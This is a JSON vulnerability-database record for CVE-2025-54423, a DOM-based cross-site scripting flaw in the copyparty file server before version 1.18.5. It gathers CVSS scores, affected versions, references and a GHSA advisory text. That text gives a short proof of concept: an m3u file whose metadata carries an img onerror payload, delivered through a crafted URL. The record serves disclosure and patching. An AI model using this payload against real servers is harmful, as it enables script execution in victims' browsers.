{"id":"CVE-2025-54423","aliases":["CVE-2025-54423","GHSA-9q4r-x2hj-jmvr","PYSEC-2026-1277"],"related":[],"kind":"vulnerability","state":"published","title":"copyparty has a DOM-Based XSS vulnerability when displaying multimedia metadata","summary":"copyparty is a portable file server. In versions up to and including versions 1.18.4, an unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files. This is fixed in version 1.18.5.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"copyparty is a portable file server. In versions up to and including versions 1.18.4, an unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files. This is fixed in version 1.18.5.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nAn unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including `m3u` files.\n\n### Details\n\nMultimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:\n\n* a user which has the necessary permission for uploading files can upload a song with an artist-name such as `<img src=x onerror=alert(document.domain)>`\n* an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file\n\nThe CVE score and PoC is based on the m3u approach, which results in a higher severity.\n\n### PoC\n1.  Create a file named `song.m3u` with the following content. Host this file on an attacker-controlled web server.\n\n    ```m3u\n    #EXTM3U\n    #EXTINF:1,\"><img src=x onerror=alert(document.domain)> - \"><img src=x onerror=alert(document.domain)>\n    http://example.com/audio.mp3\n    ```\n\n2.  Craft and share the malicious URL:  \n\n    ```\n    http://127.0.0.1:3923/#m3u=https://example.com/song.m3u\n    ```\n\n\n### Impact\nAny user that accesses this malicious URL is impacted.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Copyparty es un servidor de archivos portátil. En versiones hasta la 1.18.4 incluida, un atacante no autenticado puede ejecutar código JavaScript arbitrario en el navegador de la víctima debido a una depuración incorrecta de las etiquetas multimedia en archivos de música, incluyendo archivos m3u. Esto se solucionó en la versión 1.18.5.","source":"nvd"}],"published":"2025-07-28T16:41:44.000Z","modified":"2026-07-07T17:57:12.111Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 1.18.5","status":"affected"}],"vendor":"9001","product":"copyparty","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.18.5"}],"ecosystem":"PyPI","package":"copyparty","purl":"pkg:pypi/copyparty","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.18.5"}],"vendor":"9001","product":"copyparty","cpe":"cpe:2.3:a:9001:copyparty:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.18.5"}],"ecosystem":"PyPI","package":"copyparty","purl":"pkg:pypi/copyparty","source":"pysec"}],"references":[{"url":"https://github.com/9001/copyparty/security/advisories/GHSA-9q4r-x2hj-jmvr","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/9001/copyparty/commit/895880aeb0be0813ddf732487596633f8f9fc3a6","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/9001/copyparty/releases/tag/v1.18.5","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54423","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/9001/copyparty","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/copyparty","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-9q4r-x2hj-jmvr","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-07-28T20:19:37.533Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-54423","url":"https://www.cve.org/CVERecord?id=CVE-2025-54423","licence":"CVE Terms of Use","modified":"2025-07-28T20:20:15.875Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-9q4r-x2hj-jmvr","url":"https://github.com/advisories/GHSA-9q4r-x2hj-jmvr","licence":"CC-BY-4.0","modified":"2026-07-07T17:57:12.111Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-54423","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54423","licence":"Public domain","modified":"2026-06-17T09:40:04.680Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-1277","url":"https://osv.dev/vulnerability/PYSEC-2026-1277","licence":"CC-BY-4.0","modified":"2026-07-07T17:47:21.115Z"}],"updatedAt":"2026-11-25T22:59:01.828Z","epss":{"score":0.00472,"percentile":0.42449,"date":"2026-12-01T12:00:22.000Z"}}